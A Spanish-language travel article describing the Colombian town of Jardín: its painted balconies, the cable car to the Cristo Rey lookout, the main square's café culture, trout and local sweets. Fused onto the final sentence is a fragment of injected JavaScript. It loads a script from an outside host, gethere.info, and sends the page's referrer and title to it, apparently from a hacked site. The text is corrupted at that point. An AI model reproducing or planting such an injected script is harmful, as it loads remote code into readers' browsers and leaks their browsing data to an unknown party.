Conforme llegas sorprende ver el pueblo entre el verde intenso de las montañas. Jardín tiene como fondo una parte de la quebrada Cordillera Occidental que atraviesa Colombia. Al otro lado, el río San Juan. La geografía define el lugar, al que no pocos viajeros llegan desde Medellín, la capital del departamento de Antioquía, para recuperar la esencia del espíritu antioqueño que se va difuminando en la modernidad sin tregua de la ciudad.
Jardín forma parte de la Red de Pueblos Patrimonio de Colombia. Dicen los cronistas que su nombre viene de los primeros pobladores, que al llegar dijeron “esto es un jardín”, y ahí se le quedó el nombre. Sea como sea, el Jardín es un verdadero jardín, y como tal ha ganado muchos premios al mejor ornamento y se considera uno de los pueblos más bellos de Colombia, como si no tuvieran suficiente con los concursos de mises. Aquí los balcones y las ventanas son de madera y están pintado de vivos colores, adornados con plantas y macetas colgadas. Se nota que la intención es embellecer una arquitectura colonial.
La belleza de Jardín
Aunque Jardín no es colonial, se fundó de forma relativamente moderna en el año 1864, sí sigue el estilo colonial de tejados de teja y ventanas y puertas de colores. Por sus calles pasan tanto moto-taxis rojos como carros tirados a caballo. También algún jeep que otro de los que suben las trochas para hacer tours cafeteros, una de las actividades económicas más importantes de Jardín. Las pintorescas chivas, autobuses montados en camionetas Chevrolet, recorren los caminos del lugar para llegar a las aldeas.
Para verlo todo en conjunto, hay que subir hasta el Mirador de Cristo Rey, al que se llega en una jaula. La jaula es un funicular que salva el barranco que hay desde el pueblo hasta el mirador. No apto para personas con vértigo. Mejor subir al atardecer. En el mirador hay un pequeño bar en el que tomar algo mientras el crepúsculo llena de magia el valle.
Pero para disfrutar de la cordialidad antioqueña mejor las distancias cortas. Para eso hay que ir al Parque del Libertador. Pide un café, sienta su aroma y saluda: «Hola, cómo está, bien, y usted, bien, gracias a Dios, y, usted, cómo amaneció…» En el parque destacan las diferentes sillas y las mesas coloreadas, cada establecimiento con sus colores, como para que no se pierdan. Los hombres del lugar gastan sombrero de cafetero y dominan la técnica de sentarse solo sobre dos patas de la silla, con el respaldo inclinado.
En Jardín se disfruta de una gastronomía muy singular. Alrededor del pueblo se encuentran diferentes trucheras. Las truchas se cocinan de diverso modo como un auténtico manjar fresco. En jardín se toma un aguapanela sabrosa. Y la perdición de todo viajero es descubrir a Dulces del Jardín, una empresa familiar que lleva años fabricando dulces típicos. Sólo en Jardín se puede disfrutar de más de 22 tipos diferentes de arequipes. Si no hay suficiente, se encuentran otras delicias, como dulces de pétalos de rosa y mermelada de albahaca.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;